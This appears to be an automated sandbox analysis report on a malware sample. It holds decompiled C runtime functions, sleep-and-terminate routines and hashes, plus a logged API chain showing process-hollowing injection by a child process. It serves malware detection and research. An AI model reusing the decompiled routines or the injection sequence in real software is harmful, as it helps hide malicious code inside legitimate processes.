Opcode Fuzzy Hash: 2b1f287f38c702de7cfd52cd2d906e40cfd5b83070ebafd4c59885059780b8f3
Instruction Fuzzy Hash: E3F02871A94318BADB302E60DD03B5B32506B58B24F10253FFC85352C3CBFE4541858D

Uniqueness

Uniqueness Score: -1.00%

Function 00437635, Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 39
COMMON

Download Yara Rule

C-Code - Quality: 52%

			E00437635(void* __ebx, void* __ecx, void* __edi, void* __esi) {
				signed int _t85;
				intOrPtr _t86;
				void* _t91;
				signed int _t95;
				void* _t103;
				void* _t110;
				void* _t111;
				void* _t112;
				signed int _t121;
				signed int _t123;
				signed int _t127;
				signed int _t128;
				signed int _t129;
				signed int _t132;
				signed int _t134;
				signed int _t140;
				void* _t142;
				void* _t143;
				void* _t144;
				void* _t146;
				void* _t147;

				_t143 = __esi;
				_t142 = __edi;
				_t112 = __ecx;
				_t111 = __ebx;
				if( *(_t144 + 0x10) > 0 ||  *(_t144 + 0xc) == 0 &&  *(_t144 + 0x10) == 0) {
					 *((intOrPtr*)(_t144 - 0x1c)) = 1;
				} else {
					 *((intOrPtr*)(_t144 - 0x1c)) = 0;
				}
				 *((intOrPtr*)(_t144 - 0x10)) =  *((intOrPtr*)(_t144 - 0x1c));
				if( *((intOrPtr*)(_t144 - 0x10)) == 0) {
					_push(L"(dst != NULL && sizeInBytes > 0) || (dst == NULL && sizeInBytes == 0)");
					_push(0);
					_push(0x133);
					_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c");
					_push(2);
					_t110 = L0041E350();
					_t146 = _t146 + 0x14;
					if(_t110 == 1) {
						asm("int3");
					}
				}
				if( *((intOrPtr*)(_t144 - 0x10)) != 0) {
					__eflags =  *(_t144 + 0xc);
					if( *(_t144 + 0xc) != 0) {
						_t128 =  *(_t144 + 0xc);
						 *_t128 = 0;
						__eflags =  *(_t144 + 0x10) - 0xffffffff;
						if( *(_t144 + 0x10) != 0xffffffff) {
							__eflags =  *(_t144 + 0x10) - 0x7fffffff;
							if( *(_t144 + 0x10) != 0x7fffffff) {
								__eflags =  *(_t144 + 0x10) - 1;
								if( *(_t144 + 0x10) > 1) {
									__eflags =  *0x440208 -  *(_t144 + 0x10) - 1; // 0xffffffff
									if(__eflags >= 0) {
										_t128 =  *(_t144 + 0x10) - 1;
										__eflags = _t128;
										 *(_t144 - 0x20) = _t128;
									} else {
										_t127 =  *0x440208; // 0xffffffff
										 *(_t144 - 0x20) = _t127;
									}
									__eflags =  *(_t144 + 0xc) + 1;
									E0041B4E0(_t142,  *(_t144 + 0xc) + 1, 0xfe,  *(_t144 - 0x20));
									_t146 = _t146 + 0xc;
								}
							}
						}
					}
					__eflags =  *(_t144 + 8);
					if( *(_t144 + 8) != 0) {
						_t128 =  *(_t144 + 8);
						 *_t128 = 0;
					}
					__eflags =  *(_t144 + 0x18) -  *(_t144 + 0x10);
					if( *(_t144 + 0x18) <=  *(_t144 + 0x10)) {
						_t128 =  *(_t144 + 0x18);
						 *(_t144 - 0x24) = _t128;
					} else {
						 *(_t144 - 0x24) =  *(_t144 + 0x10);
					}
					 *(_t144 - 8) =  *(_t144 - 0x24);
					__eflags = 0x7fffffff -  *(_t144 - 8);
					asm("sbb edx, edx");
					_t129 = _t128 + 1;
					__eflags = _t129;
					 *(_t144 - 0x14) = _t129;
					if(_t129 == 0) {
						_push(L"bufferSize <= INT_MAX");
						_push(0);
						_push(0x13f);
						_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c");
						_push(2);
						_t103 = L0041E350();
						_t146 = _t146 + 0x14;
						__eflags = _t103 - 1;
						if(_t103 == 1) {
							asm("int3");
						}
					}
					__eflags =  *(_t144 - 0x14);
					if( *(_t144 - 0x14) != 0) {
						_t115 =  *(_t144 + 0xc);
						_t85 = L00437130(_t111,  *(_t144 - 8), _t142, _t143,  *(_t144 + 0xc),  *((intOrPtr*)(_t144 + 0x14)),  *(_t144 - 8),  *((intOrPtr*)(_t144 + 0x1c)));
						_t147 = _t146 + 0x10;
						 *(_t144 - 0xc) = _t85;
						__eflags =  *(_t144 - 0xc) - 0xffffffff;
						if( *(_t144 - 0xc) != 0xffffffff) {
							_t132 =  *(_t144 - 0xc) + 1;
							 *(_t144 - 0xc) = _t132;
							__eflags =  *(_t144 + 0xc);
							if( *(_t144 + 0xc) == 0) {
								L56:
								__eflags =  *(_t144 + 8);
								if( *(_t144 + 8) != 0) {
									 *( *(_t144 + 8)) =  *(_t144 - 0xc);
								}
								_t86 =  *((intOrPtr*)(_t144 - 4));
								goto L59;
							}
							__eflags =  *(_t144 - 0xc) -  *(_t144 + 0x10);
							if( *(_t144 - 0xc) <=  *(_t144 + 0x10)) {
								L55:
								_t134 =  *(_t144 + 0xc) +  *(_t144 - 0xc);
								__eflags = _t134;
								 *((char*)(_t134 - 1)) = 0;
								goto L56;
							}
							__eflags =  *(_t144 + 0x18) - 0xffffffff;
							if( *(_t144 + 0x18) == 0xffffffff) {
								L54:
								 *(_t144 - 0xc) =  *(_t144 + 0x10);
								 *((intOrPtr*)(_t144 - 4)) = 0x50;
								goto L55;
							}
							 *( *(_t144 + 0xc)) = 0;
							__eflags =  *(_t144 + 0x10) - 0xffffffff;
							if( *(_t144 + 0x10) != 0xffffffff) {
								__eflags =  *(_t144 + 0x10) - 0x7fffffff;
								if( *(_t144 + 0x10) != 0x7fffffff) {
									__eflags =  *(_t144 + 0x10) - 1;
									if( *(_t144 + 0x10) > 1) {
										__eflags =  *0x440208 -  *(_t144 + 0x10) - 1; // 0xffffffff
										if(__eflags >= 0) {
											_t121 =  *(_t144 + 0x10) - 1;
											__eflags = _t121;
											 *(_t144 - 0x2c) = _t121;
										} else {
											_t95 =  *0x440208; // 0xffffffff
											 *(_t144 - 0x2c) = _t95;
										}
										_t132 =  *(_t144 - 0x2c);
										__eflags =  *(_t144 + 0xc) + 1;
										E0041B4E0(_t142,  *(_t144 + 0xc) + 1, 0xfe, _t132);
										_t147 = _t147 + 0xc;
									}
								}
							}
							_t119 =  *(_t144 + 0x10);
							__eflags =  *(_t144 - 0xc) -  *(_t144 + 0x10);
							asm("sbb edx, edx");
							 *(_t144 - 0x18) =  ~_t132;
							if( *(_t144 - 0xc) ==  *(_t144 + 0x10)) {
								_push(L"sizeInBytes > retsize");
								_push(0);
								_push(0x157);
								_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c");
								_push(2);
								_t91 = L0041E350();
								_t147 = _t147 + 0x14;
								__eflags = _t91 - 1;
								if(_t91 == 1) {
									asm("int3");
								}
							}
							__eflags =  *(_t144 - 0x18);
							if( *(_t144 - 0x18) != 0) {
								goto L54;
							} else {
								 *((intOrPtr*)(L00422E40(_t119))) = 0x22;
								E00422BD0(_t111, _t119, _t142, _t143, L"sizeInBytes > retsize", L"_wcstombs_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c", 0x157, 0);
								_t86 = 0x22;
								goto L59;
							}
						} else {
							__eflags =  *(_t144 + 0xc);
							if( *(_t144 + 0xc) != 0) {
								 *( *(_t144 + 0xc)) = 0;
								__eflags =  *(_t144 + 0x10) - 0xffffffff;
								if( *(_t144 + 0x10) != 0xffffffff) {
									__eflags =  *(_t144 + 0x10) - 0x7fffffff;
									if( *(_t144 + 0x10) != 0x7fffffff) {
										__eflags =  *(_t144 + 0x10) - 1;
										if( *(_t144 + 0x10) > 1) {
											__eflags =  *0x440208 -  *(_t144 + 0x10) - 1; // 0xffffffff
											if(__eflags >= 0) {
												_t140 =  *(_t144 + 0x10) - 1;
												__eflags = _t140;
												 *(_t144 - 0x28) = _t140;
											} else {
												_t123 =  *0x440208; // 0xffffffff
												 *(_t144 - 0x28) = _t123;
											}
											_t115 =  *(_t144 + 0xc) + 1;
											__eflags =  *(_t144 + 0xc) + 1;
											E0041B4E0(_t142,  *(_t144 + 0xc) + 1, 0xfe,  *(_t144 - 0x28));
										}
									}
								}
							}
							_t86 =  *((intOrPtr*)(L00422E40(_t115)));
							goto L59;
						}
					} else {
						 *((intOrPtr*)(L00422E40(0x7fffffff))) = 0x16;
						E00422BD0(_t111, 0x7fffffff, _t142, _t143, L"bufferSize <= INT_MAX", L"_wcstombs_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c", 0x13f, 0);
						_t86 = 0x16;
						goto L59;
					}
				} else {
					 *((intOrPtr*)(L00422E40(_t112))) = 0x16;
					E00422BD0(_t111, _t112, _t142, _t143, L"(dst != NULL && sizeInBytes > 0) || (dst == NULL && sizeInBytes == 0)", L"_wcstombs_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c", 0x133, 0);
					_t86 = 0x16;
					L59:
					return _t86;
				}
			}

0x00437635
0x00437635
0x00437635
0x00437635
0x00437639
0x00437650
0x00437647
0x00437647
0x00437647
0x0043765a
0x00437661
0x00437663
0x00437668
0x0043766a
0x0043766f
0x00437674
0x00437676
0x0043767b
0x00437681
0x00437683
0x00437683
0x00437681
0x00437688
0x004376bd
0x004376c1
0x004376c3
0x004376c6
0x004376c9
0x004376cd
0x004376cf
0x004376d6
0x004376d8
0x004376dc
0x004376e4
0x004376ea
0x004376fa
0x004376fa
0x004376fd
0x004376ec
0x004376ec
0x004376f2
0x004376f2
0x0043770c
0x00437710
0x00437715
0x00437715
0x004376dc
0x004376d6
0x004376cd
0x00437718
0x0043771c
0x0043771e
0x00437721
0x00437721
0x0043772a
0x0043772d
0x00437737
0x0043773a
0x0043772f
0x00437732
0x00437732
0x00437740
0x00437748
0x0043774b
0x0043774d
0x0043774d
0x00437750
0x00437753
0x00437755
0x0043775a
0x0043775c
0x00437761
0x00437766
0x00437768
0x0043776d
0x00437770
0x00437773
0x00437775
0x00437775
0x00437773
0x00437776
0x0043777a
0x004377bb
0x004377bf
0x004377c4
0x004377c7
0x004377ca
0x004377ce
0x0043783a
0x0043783d
0x00437840
0x00437844
0x00437931
0x00437931
0x00437935
0x0043793d
0x0043793d
0x0043793f
0x00000000
0x0043793f
0x0043784d
0x00437850
0x00437927
0x0043792a
0x0043792a
0x0043792d
0x00000000
0x0043792d
0x00437856
0x0043785a
0x0043791a
0x0043791d
0x00437920
0x00000000
0x00437920
0x00437863
0x00437866
0x0043786a
0x0043786c
0x00437873
0x00437875
0x00437879
0x00437881
0x00437887
0x00437896
0x00437896
0x00437899
0x00437889
0x00437889
0x0043788e
0x0043788e
0x0043789c
0x004378a8
0x004378ac
0x004378b1
0x004378b1
0x00437879
0x00437873
0x004378b4
0x004378b7
0x004378ba
0x004378be
0x004378c1
0x004378c3
0x004378c8
0x004378ca
0x004378cf
0x004378d4
0x004378d6
0x004378db
0x004378de
0x004378e1
0x004378e3
0x004378e3
0x004378e1
0x004378e4
0x004378e8
0x00000000
0x004378ea
0x004378ef
0x0043790b
0x00437913
0x00000000
0x00437913
0x004377d0
0x004377d0
0x004377d4
0x004377d9
0x004377dc
0x004377e0
0x004377e2
0x004377e9
0x004377eb
0x004377ef
0x004377f7
0x004377fd
0x0043780d
0x0043780d
0x00437810
0x004377ff
0x004377ff
0x00437805
0x00437805
0x0043781f
0x0043781f
0x00437823
0x00437828
0x004377ef
0x004377e9
0x004377e0
0x00437830
0x00000000
0x00437830
0x0043777c
0x00437781
0x0043779d
0x004377a5
0x00000000
0x004377a5
0x0043768a
0x0043768f
0x004376ab
0x004376b3
0x00437942
0x00437945
0x00437945

APIs

__invalid_parameter.LIBCMTD ref: 004376AB

Strings

_wcstombs_s_l, xrefs: 004376A1
f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c, xrefs: 0043766F, 0043769C
(dst != NULL && sizeInBytes > 0) || (dst == NULL && sizeInBytes == 0), xrefs: 00437663, 004376A6

Memory Dump Source

Source File: 00000000.00000002.238062965.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.238059645.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.238171919.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.238184578.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.238197820.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_OG9rNsihJ7.jbxd

Similarity

API ID: __invalid_parameter
String ID: (dst != NULL && sizeInBytes > 0) || (dst == NULL && sizeInBytes == 0)$_wcstombs_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c
API String ID: 3730194576-625432840
Opcode ID: 8fae172e9e588b43ce59ab6fe453a295eb9c36e45073b35abf65a17825a7d1a6
Instruction ID: 77329c76c4d179279894dd3d56420246bf31af61cb1c7a15ade8a4212f19448d
Opcode Fuzzy Hash: 8fae172e9e588b43ce59ab6fe453a295eb9c36e45073b35abf65a17825a7d1a6
Instruction Fuzzy Hash: F701D6B0E8470DAAEB305E54CC177AB7260AB2472DF11242FE8A4392C1C3FE4640CE5E

Uniqueness

Uniqueness Score: -1.00%

Function 0041A961, Relevance: 6.1, APIs: 4, Instructions: 115COMMON

Download Yara Rule

APIs

___libm_error_support.LIBCMTD ref: 0041AA15

Part of subcall function 00421480: __encode_pointer.LIBCMTD ref: 00421561

Memory Dump Source

Source File: 00000000.00000002.238062965.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.238059645.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.238171919.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.238184578.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.238197820.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_OG9rNsihJ7.jbxd

Similarity

API ID: ___libm_error_support__encode_pointer
String ID:
API String ID: 3390238661-0
Opcode ID: c44d046865231dff2cdce69809e59661ac17edd7748d517aa8ef826d77e258c8
Instruction ID: 18fa7329af07afb4a4dae200e1efb6c8478462045cf1aae9314bd856b1a81210
Opcode Fuzzy Hash: c44d046865231dff2cdce69809e59661ac17edd7748d517aa8ef826d77e258c8
Instruction Fuzzy Hash: E7413B31C09744DACB11AF39DA4516EBBB0FF95384F10C76BF98861112EB3889A9C34B

Uniqueness

Uniqueness Score: -1.00%

Function 0042493A, Relevance: 6.0, APIs: 4, Instructions: 32
threadCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E0042493A(intOrPtr __eax) {
				void* _t10;
				intOrPtr _t11;
				intOrPtr _t16;
				void* _t21;

				 *((intOrPtr*)(_t21 - 8)) = __eax;
				if( *((intOrPtr*)(_t21 - 8)) == 0) {
					L2:
					E004249A0();
					_t10 = 0;
				} else {
					_push( *((intOrPtr*)(_t21 - 8)));
					_t11 =  *0x440cb0; // 0x5
					_push(_t11);
					_t16 =  *0x54adfc; // 0x2e93cd4e
					if( *((intOrPtr*)(E00424690(_t16)))() != 0) {
						E00424A00(_t16,  *((intOrPtr*)(_t21 - 8)), 0);
						 *((intOrPtr*)( *((intOrPtr*)(_t21 - 8)))) = GetCurrentThreadId();
						 *((intOrPtr*)( *((intOrPtr*)(_t21 - 8)) + 4)) = 0xffffffff;
						_t10 = 1;
					} else {
						goto L2;
					}
				}
				return _t10;
			}

0x0042493d
0x00424944
0x00424965
0x00424965
0x0042496a
0x00424946
0x00424949
0x0042494a
0x0042494f
0x00424950
0x00424963
0x00424974
0x00424985
0x0042498a
0x00424991
0x00000000
0x00000000
0x00000000
0x00424963
0x00424999

APIs

__encode_pointer.LIBCMTD ref: 00424957

Part of subcall function 00424690: TlsGetValue.KERNEL32(00000004,00424906,3693CD4E), ref: 004246A5
Part of subcall function 00424690: TlsGetValue.KERNEL32(00000004,00000005), ref: 004246C6
Part of subcall function 00424690: __crt_wait_module_handle.LIBCMTD ref: 004246DC
Part of subcall function 00424690: GetProcAddress.KERNEL32(00000000,DecodePointer), ref: 004246F6

__mtterm.LIBCMTD ref: 00424965
__initptd.LIBCMTD ref: 00424974
GetCurrentThreadId.KERNEL32 ref: 0042497C

Memory Dump Source

Source File: 00000000.00000002.238062965.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.238059645.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.238171919.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.238184578.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.238197820.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_OG9rNsihJ7.jbxd

Similarity

API ID: Value$AddressCurrentProcThread__crt_wait_module_handle__encode_pointer__initptd__mtterm
String ID:
API String ID: 1673568325-0
Opcode ID: a5b40eb3c482c1174bdd079591c39a0cb72a7e88cf60f3f0efad5ee52833ba59
Instruction ID: 5e57c03e0af10683ad81c2b88d9acec2b9936ad536b7a83c022125380a9da91f
Opcode Fuzzy Hash: a5b40eb3c482c1174bdd079591c39a0cb72a7e88cf60f3f0efad5ee52833ba59
Instruction Fuzzy Hash: 15F090B5A00215ABC700DFB8F84175FB774EBC8318F5082A9E80997391E635D590CB55

Uniqueness

Uniqueness Score: -1.00%

Function 0041C59F, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 28COMMON

Download Yara Rule

APIs

__CrtCheckMemory.LIBCMTD ref: 0041C5AF

Strings

_CrtCheckMemory(), xrefs: 0041C5B8
f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c, xrefs: 0041C5C4

Memory Dump Source

Source File: 00000000.00000002.238062965.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.238059645.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.238171919.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.238184578.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.238197820.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_OG9rNsihJ7.jbxd

Similarity

API ID: CheckMemory
String ID: _CrtCheckMemory()$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c
API String ID: 2067751306-2660621803
Opcode ID: 96337c6d0dba594ec11e93e9530b8ebcbdde8fcbdb6c408c328e87aefc14f32d
Instruction ID: 9f946d79a6c0324b53f595cf64eccdbf62b23f134756d1915c3463928c2bbed5
Opcode Fuzzy Hash: 96337c6d0dba594ec11e93e9530b8ebcbdde8fcbdb6c408c328e87aefc14f32d
Instruction Fuzzy Hash: 27F0E574BC4224A7CB908B15EEC67E63252A72170CF208017F905556C1EEBDAEC56E8F

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: OG9rNsihJ7.exe PID: 5424 Parent PID: 4948 OG9rNsihJ7.exeCOMMON

Execution Graph

Execution Coverage:	4.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	24
Total number of Limit Nodes:	0

Executed Functions

Function 0040196D, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48
sleepnativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 46%

			E0040196D(void* __eax, void* __ebx, void* __ecx, void* __edi, short __esi, void* __fp0) {
				intOrPtr _t14;
				void* _t17;
				intOrPtr* _t23;
				void* _t26;
				void* _t27;
				void* _t28;
				signed int _t33;
				intOrPtr* _t35;
				void* _t38;

				_t31 = __esi;
				_t29 = __edi;
				asm("in eax, 0xe5");
				 *((short*)(__eax + _t33 * 2)) = __esi;
				 *((intOrPtr*)(__eax + _t33 * 2)) = __esi;
				_push(0x1999);
				_t14 =  *_t35;
				__eflags = __al;
				_t26 = 0x5c;
				E004012AB(_t14, __ebx, _t26, _t28, __edi, __esi, _t38);
				_t23 =  *((intOrPtr*)(_t33 + 8));
				Sleep(0x1388);
				_t17 = E004014EA(_t28, _t38, __fp0, _t23,  *((intOrPtr*)(_t33 + 0xc)),  *((intOrPtr*)(_t33 + 0x10)), _t33 - 4); // executed
				_t39 = _t17;
				if(_t17 != 0) {
					_push( *((intOrPtr*)(_t33 + 0x14)));
					_push( *((intOrPtr*)(_t33 - 4)));
					_push(_t17);
					_push(_t23); // executed
					E004015BD(_t23, _t28, _t29, _t31, _t39); // executed
				}
				 *_t23(0xffffffff, 0); // executed
				_t27 = 0x5c;
				return E004012AB(0x1999, _t23, _t27, _t28, _t29, _t31, _t39);
			}

0x0040196d
0x0040196d
0x0040196d
0x00401970
0x00401971
0x00401973
0x00401978
0x00401986
0x0040198c
0x00401994
0x00401999
0x004019a1
0x004019af
0x004019b4
0x004019b6
0x004019b8
0x004019bb
0x004019be
0x004019bf
0x004019c0
0x004019c0
0x004019c9
0x004019e8
0x004019f9

APIs

Sleep.KERNELBASE(00001388), ref: 004019A1
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019C9

Strings

j\Y, xrefs: 00401989

Memory Dump Source

Source File: 00000001.00000002.297964506.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OG9rNsihJ7.jbxd

Similarity

API ID: ProcessSleepTerminate
String ID: j\Y
API String ID: 417527130-662177190
Opcode ID: 60e19d2a587da5622c2a6d9172a049e9a5b2b5b2e4593a54255e3bb5c4ee03a0
Instruction ID: 595b9c3ea7707adfb89ee20c44a57f79679102a22a402f6ef59d3c67027402ce
Opcode Fuzzy Hash: 60e19d2a587da5622c2a6d9172a049e9a5b2b5b2e4593a54255e3bb5c4ee03a0
Instruction Fuzzy Hash: B10184B2604245EBDB005FE5DC92DAA3B74AF01314F2401ABF512B91F2DA3C8513E71A

Uniqueness

Uniqueness Score: -1.00%

Function 00401962, Relevance: 3.1, APIs: 2, Instructions: 52
sleepnativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 44%

			E00401962(void* __ecx, void* __fp0, intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t9;
				void* _t12;
				void* _t17;
				intOrPtr* _t18;
				void* _t20;
				void* _t21;
				void* _t22;
				void* _t23;
				void* _t24;
				intOrPtr* _t25;
				void* _t27;

				_push(0x1999);
				_t9 =  *_t25;
				__eflags = __al;
				_t20 = 0x5c;
				E004012AB(_t9, _t17, _t20, _t22, _t23, _t24, _t27);
				_t18 = _a4;
				Sleep(0x1388);
				_t12 = E004014EA(_t22, _t27, __fp0, _t18, _a8, _a12,  &_v8); // executed
				_t28 = _t12;
				if(_t12 != 0) {
					_push(_a16);
					_push(_v8);
					_push(_t12);
					_push(_t18); // executed
					E004015BD(_t18, _t22, _t23, _t24, _t28); // executed
				}
				 *_t18(0xffffffff, 0); // executed
				_t21 = 0x5c;
				return E004012AB(0x1999, _t18, _t21, _t22, _t23, _t24, _t28);
			}

0x00401973
0x00401978
0x00401986
0x0040198c
0x00401994
0x00401999
0x004019a1
0x004019af
0x004019b4
0x004019b6
0x004019b8
0x004019bb
0x004019be
0x004019bf
0x004019c0
0x004019c0
0x004019c9
0x004019e8
0x004019f9

APIs

Sleep.KERNELBASE(00001388), ref: 004019A1
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019C9

Memory Dump Source

Source File: 00000001.00000002.297964506.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OG9rNsihJ7.jbxd

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: e6583a46ba0c482cc9ee2622c86c4f26a038c05ef2be8949cbdfc3cdf2952675
Instruction ID: c7dbb5b86db80192b1cd6b67b95130a9e8bba6362884e51d04f8a5ef40e6dacf
Opcode Fuzzy Hash: e6583a46ba0c482cc9ee2622c86c4f26a038c05ef2be8949cbdfc3cdf2952675
Instruction Fuzzy Hash: A50144F1208205FBEB005AD59DA2E7B3668AB01715F20013BBA03790F1D57D9913E72B

Uniqueness

Uniqueness Score: -1.00%

Function 00401A0B, Relevance: 1.6, APIs: 1, Instructions: 96
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019C9

Memory Dump Source

Source File: 00000001.00000002.297964506.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OG9rNsihJ7.jbxd

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: 00d9af8ada967e92f08724f842517e3d5e3f1b979023ce9469ee702bd8b35524
Instruction ID: 6d9108f025a0daaf84588f91761baf46a4613dd7645499535b00fdf5ce75212c
Opcode Fuzzy Hash: 00d9af8ada967e92f08724f842517e3d5e3f1b979023ce9469ee702bd8b35524
Instruction Fuzzy Hash: 3E21D074609204EAC7156665C863FB637909B41329F60153FE9A3BE2F2C67C4487EB27

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: vfgiwcs PID: 6824 Parent PID: 904 vfgiwcsCOMMON

Execution Graph

Execution Coverage:	20.4%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	26
Total number of Limit Nodes:	7

Executed Functions

Function 00640110, Relevance: 22.7, APIs: 15, Instructions: 248
memorynativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,00002800,00001000,00000004), ref: 00640156
GetModuleFileNameA.KERNELBASE(00000000,?,00002800), ref: 0064016C
CreateProcessA.KERNELBASE(?,00000000), ref: 00640255
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 00640270
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 00640283
GetThreadContext.KERNELBASE(00000000,00640610), ref: 0064029F
ReadProcessMemory.KERNELBASE(00000000,65FFFFF6,?,00000004,00000000), ref: 006402C8
NtUnmapViewOfSection.NTDLL(00000000,?), ref: 006402E3
VirtualAllocEx.KERNELBASE(00000000,000000F8,4589D2FF,00003000,00000040), ref: 00640304
NtWriteVirtualMemory.NTDLL(00000000,?,E58BB5EB,F87D83EC,00000000), ref: 0064032A
NtWriteVirtualMemory.NTDLL(00000000,00000051,00637ADF,00000061,00000000), ref: 00640399
WriteProcessMemory.KERNELBASE(00000000,65FFFFF6,00640568,00000004,00000000), ref: 006403BF
SetThreadContext.KERNELBASE(00000000,00640610), ref: 006403E1
ResumeThread.KERNELBASE(00000000), ref: 006403ED
ExitProcess.KERNEL32(00000000), ref: 00640412

Memory Dump Source

Source File: 00000012.00000002.333601290.0000000000640000.00000040.00000001.sdmp, Offset: 00640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_640000_vfgiwcs.jbxd

Similarity

API ID: Virtual$MemoryProcess$AllocThreadWrite$Context$CreateExitFileFreeModuleNameReadResumeSectionUnmapView
String ID:
API String ID: 2875986403-0
Opcode ID: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction ID: 9d550f6d89e6b543f19533fc27cc0a444c020d67ea4ab73539fe7fd6823abd06
Opcode Fuzzy Hash: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction Fuzzy Hash: 38B1C674A00209AFDB44CF98C895F9EBBB5FF88314F248158E609AB391D771AE41CF94

Uniqueness

Uniqueness Score: -1.00%

Function 00640420, Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExA.USER32(00000200,saodkfnosa9uin,mfoaskdfnoa,00CF0000,80000000,80000000,000003E8,000003E8,00000000,00000000,00000000,00000000), ref: 00640533

Strings

mfoaskdfnoa, xrefs: 00640520, 00640523
saodkfnosa9uin, xrefs: 006404DA
0, xrefs: 00640492
d, xrefs: 00640584

Memory Dump Source

Source File: 00000012.00000002.333601290.0000000000640000.00000040.00000001.sdmp, Offset: 00640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_640000_vfgiwcs.jbxd

Similarity

API ID: CreateWindow
String ID: 0$d$mfoaskdfnoa$saodkfnosa9uin
API String ID: 716092398-2341455598
Opcode ID: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction ID: d7f8583cf0a7f88934650bd496a4d03cd92627b6cd5341077280f49783a168d9
Opcode Fuzzy Hash: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction Fuzzy Hash: EC513970D08388DEEB11CBE8C949BDDBFB2AF11708F244058D5447F286C3BA5A59CB66

Uniqueness

Uniqueness Score: -1.00%

Function 006405B0, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNELBASE(apfHQ), ref: 006405EC

Strings

apfHQ, xrefs: 006405E2, 006405E5
o, xrefs: 00640600

Memory Dump Source

Source File: 00000012.00000002.333601290.0000000000640000.00000040.00000001.sdmp, Offset: 00640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_640000_vfgiwcs.jbxd

Similarity

API ID: AttributesFile
String ID: apfHQ$o
API String ID: 3188754299-2999369273
